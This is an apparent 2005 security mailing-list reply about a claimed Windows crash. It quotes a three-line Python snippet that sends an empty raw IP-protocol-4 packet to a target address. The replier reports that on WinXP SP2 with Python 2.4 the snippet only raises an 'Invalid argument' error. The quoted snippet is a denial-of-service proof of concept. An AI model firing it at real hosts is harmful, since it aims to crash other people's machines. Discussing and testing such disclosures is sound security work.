On Tue, Mar 22, 2005 at 12:21:18PM -0000, liquid@xxxxxxxxxxxxxx wrote:
> Start Python and type (of course x.x.x.x should be replaced with
> IP address):
>
> import socket
> s=socket.socket(socket.AF_INET,socket.SOCK_RAW,4)
> s.sendto("",("x.x.x.x",0))
>
> Press ENTER and your win box should crash immediately.
I tested this on WinXP SP2 with Python 2.4. The result is an
exception:
socket.error: (10022, 'Invalid argument')
I don't have Python 2.3 installed otherwise I would test that too.
Neil
